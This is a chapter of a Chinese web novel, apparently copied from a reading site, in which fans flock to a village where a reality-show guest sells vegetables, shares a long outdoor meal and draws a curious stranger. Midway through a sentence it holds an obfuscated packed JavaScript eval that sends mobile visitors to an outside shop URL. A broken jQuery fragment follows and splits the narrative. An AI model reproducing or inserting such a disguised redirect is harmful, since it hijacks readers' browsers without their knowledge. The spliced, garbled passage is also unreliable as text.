热搜是初十晚上上去的。
第二天一早,方驰拉开院门,愣在门口。
村口土路上横七竖八停着一串车。本地牌照的小面包,城里来的小轿车,还有一辆贴着"新手女司机"的SUV,半个车身骑在路牙子上。车旁站着七八个年轻人,举着手机,齐刷刷看过来。
"请问——"为首的姑娘探头,"卖菜神仙是住这儿吗?就那个'钱来了'?"
方驰缓缓关上院门,转过身,深吸一口气。
"苏导!!!"
监视器后面,苏晚三分钟没说出话。
小赵捧着平板汇报:"热搜上有人扒出镇名了,后半夜又有人报了村名。镇上民宿全满了,村口王大爷家的空房都租出去了,三百八一晚,王大爷以为自己听错了。这还只是摸到院门口的,镇上还压着一拨,路都没找利索呢。"
"连夜自驾,天不亮就到。"贺一鸣凑过来看热闹,啧啧称奇,"知道这叫什么吗?这叫特种兵式旅游。这叫泼天的富贵——"
"这叫泼天的麻烦。"苏晚捏着眉心,"录制不能停,院子不能进,保密协议签着,嘉宾一个字不许乱发。"
小赵凑过来:"苏导,村口那边……拦吗?"
苏晚盯着监视器。屏幕里,院门口七八部手机举着,没人推门,都在探头。
"……跟着拍。"她说,"注意别让人进院。出了乱子我担着,素材拍飞了你们担着。"
"那外面那些人呢?"陶陶小声问。
周建国披着外套出来,往村口瞅了一眼,一拍大腿:"还能怎么办?来者是客!堵是堵不住的。中国人有四大宽容——来都来了,人都走了,大过年的,孩子还小。人家来都来了,你把人晾村口?"
"周老师,这四个里就第一个沾边。"江苓说。
"一个就够了。"
院子角落里,陆清槐一直没说话。他听完,站起身,往菜园走。
"你干嘛?"贺一鸣问。
"摘菜。"
"摘菜干嘛?"
"人家大老远来。"他已经挑起了扁担,"不能让人空手回。"
半个钟头后,村口老槐树底下多了个菜摊。
两张收款码并排挂在树杈上,硬纸板翻了个面,重新写了行字:今日有菜。
游客们本来还在院门口探头探脑,一转头,神仙本人挑着扁担出来了。
"出来了出来了!"
"是他是他!比视频里还白!"
"别挤别挤,排队!中国人的种族天赋呢——排队!"
陆清槐把菜筐摆好,杆秤一放:"番茄四块,黄瓜三块,白菜一块五。"
"神仙哥哥我要五斤番茄!"
"码在哪儿?啊扫上了——"
"嘀——微信收款,二十元。"
"嘀——支付宝收款,十五元。"
"嘀嘀嘀——"
两个住处一起响,他兜里像开了个电子鸟市。他低头称菜,一手秤砣一手葱,称完照例多塞两根,头都不抬,行云流水。
排到一个戴鸭舌帽的姑娘,装完菜,忽然举起手机:"神仙哥哥,合个影呗?"
他不懂什么是合影。贺一鸣在旁边义务指导:"看镜头,笑,比个耶——手伸出来,两根手指头,对——"
陆清槐看了看他的手,转过身,对着姑娘的镜头,认认真真拱手一揖。
姑娘举着手机僵住了。
"他、他给我作了个揖?!"她低头看照片,声音都劈了,"家人们谁懂啊!别人比耶,他比揖!这是什么朝代的礼貌!我要把这张照片裱起来!"
贺一鸣扶额:"完了,更仙了。"
队伍里有个小孩哥,七八岁,不排队,蹲在菜筐跟前,盯着一根黄瓜看了半天。
"叔叔,"小孩仰头,"黄瓜为什么长刺?"
陆清槐蹲下来,跟他平视。
"它怕虫子爬上去,长刺扎脚。"他说,"也怕你这种小孩,摘早了。"
"那什么样的能摘?"
"刺硬、顶花、掂着沉。"他从筐里拣出一根,衣角擦了擦,掰半截递过去,"尝尝。"
小孩咔嚓一口,眼睛瞪圆,回头喊:"妈!黄瓜是甜的!!"
他妈正在扫码,闻言笑:"甜就对了,这根多少钱——"
"一根黄瓜,不用。"
"那哪行!"妈妈不由分说对着码又扫了一下,"嘀——微信收款,二十元。"
"多了。"
"定金!"她摆手,"下次我们还来!"
陆清槐看着手机上那个"20.00",想了想,从筐里又拎出两根黄瓜、三个番茄,塞进小孩怀里。
"定金得有货。"他说,"拿好。"
小孩抱着一堆菜,郑重点头,像接了道圣旨。
江苓和陶陶在旁边帮忙装菜。陶陶被两个小姑娘认出来:"你是不是节目里那个最小的妹妹?本人好小一只!"陶陶脸一下红到耳朵根:"我、我是——苓姐救我——"
"她是。"江苓头也不抬,"团宠,认证过的。"
墙头上,橘座今天格外忙。游客轮着喂,这个塞块小面包,那个递根小鱼干,它来者不拒,肚子以肉眼可见的速度鼓起来。到晌午想跳墙消食,蹿了两回,没上去。
大黄更不用说,社牛之王,在人腿缝里钻来钻去,跟每个人都摇一遍尾巴,摇到后来动作都慢了——累的。
快晌午,周建国清点人手,忽然发现少一个。
"眉姐呢?"
"眉姐说去村口给客人送水。"陶陶说。
"多久了?"
"……快一个钟头了。"
周建国脸色一变:"坏了。她单独出的门。"
众人对视一秒。陆清槐放下杆秤:"我去接。"
大黄耳朵一竖,第一个蹿了出去。
一人一狗上了后山,专挑最不像路的岔道走——沈眉认路,哪儿风景好往哪儿拐。第三道岔口,大黄忽然冲着一丛野菊猛摇尾巴。
沈眉就站在野菊旁边,提着水壶,壶还满着——水到底没送出去。她不慌不忙地看花,看见他,还笑了笑:"清槐来啦?这边风景好,你看那片云。"
"眉姐,村口在东边。"
"我知道。"沈眉慢悠悠地说,"我就是绕过来看看风景。"
"嗯。"他说,"这条路风景确实好。回吧,客人等着吃饭。"
他没再多问,领着路往回走,顺手把横在路中间的一截枯枝折了。
回到村口,周建国迎上来:"眉姐您这是去哪儿了?急死人!"
"看风景。"沈眉面不改色,"清槐陪我去的。"
周建国瞪他。
陆清槐面不改色:"那条路,风景确实好。"
沈眉回头冲他一笑。两个人心照不宣。
中午,长桌从院门外一直摆到村口。没人画过线,客人们自己守着规矩——院里是节目组的地盘,院门外是饭桌,谁也不越那道门槛。
周建国拍板:"来都来了,留下吃饭!"节
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916301|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
目组本来备着二十人份的食材,菜园里现摘的黄瓜番茄又补了半筐。陆清槐掌勺,嘉宾们端菜,番茄炒蛋、醋熘白菜、凉拌黄瓜,外加一大锅豆腐汤,流水席似的往上端,管够。
这回没人愣在原地。
小孩哥捧着碗,头不抬眼不睁,连刨两碗饭,他妈在旁边拽都拽不住:"他在家吃饭要追着喂三圈!"
"慢点,锅里还有。"陆清槐又给他添了半勺。
鸭舌帽姑娘吃完,对着空盘子拍了三张,抬头问:"哥,你这菜有网店吗?能加盟吗?我认真的,我做探店的,百万粉丝——"
"没有网店。"贺一鸣抢答,答完余光一扫,苏晚正抱着胳膊看他,立刻改口,"……这得问我们导演。导演,网店的事儿——"
"吃饭堵不上你的嘴。"苏晚说。
姑娘识趣,低头打字,边打边念叨:"不拍正片不拍院,就拍菜……标题想好了:《特种兵进村:为了一根黄瓜,我开了三百公里》。"
"电子榨菜有素材了。"她同伴说。
陆清槐听不太懂这些词,但他听得懂"三百公里"。他往姑娘碗里又夹了一筷子菜。
"路远。"他说,"多吃点。"
下午三点多,游客陆续散了。
陆清槐收拾菜筐,葱筐见了底——今天送出去的葱比卖出去的菜还快。他掏出手机,发了条微博:
"葱。没了。"
发完翻开小本子,添第九条:"九、码很忙。葱,不够送。"
他合上本子,注意到菜地边上蹲着个人。
中年男人,夹克,皮鞋,全程没排队,没拍照,就蹲在田埂上看了他一下午。这会儿人走得差不多了,那人站起来,走到田埂另一头,拉住正溜达的陈伯,递了根烟。
离得远,听不真切。他只看见陈伯摆手,说了几句什么,男人点了点头,若有所思地往村口走了。
傍晚陈伯过来,跟他学说:"那人问我,你这菜用什么浇的。"
"你怎么说的?"
"我说水。他问什么水,我说山泉水。他说就山泉水?我说你还想有啥。"陈伯嘬着牙花子,"他蹲那儿看了半天地,还拔了根草看根。城里人真有意思,草有什么好看的。"
陆清槐没接话。
看热闹的人,他见了一天,眼睛都在菜上。
这个人,眼睛在根上。
他往田埂那边看了一眼。
那人蹲过的地方,草被压出两个浅浅的膝盖印。看得很认真。
他走过去,把那人碰过的那棵草扶直,松了松土。
苏晚的电话是傍晚打来的,台里的。
她接起来,"嗯"了几声,"明白"了两声,挂掉,站在原地看了会儿村口。
小赵问:"苏导,怎么说?"
"档期确认了。"苏晚说,"就官博说的那个周五,晚八点黄金档。"
"这就定了?"小赵一愣,"那……今天这些路透算什么?"
"算送上门的预热。"苏晚说,"台里看了今天的数据,让宣发全面铺开——放手拍。"
她转过头。
村口老槐树下,菜摊收了一半,陆清槐没急着走,正被三个没散的小孩哥围着,蹲在地上,拿根树枝在泥上比划,教他们怎么看黄瓜的刺硬不硬。三个脑袋凑成一圈,听得特别认真。
苏晚看了两秒,抬手指了指。
"小赵,机器架上。"
"拍什么?"
"拍他。"她说,"这一段,一帧都别剪。"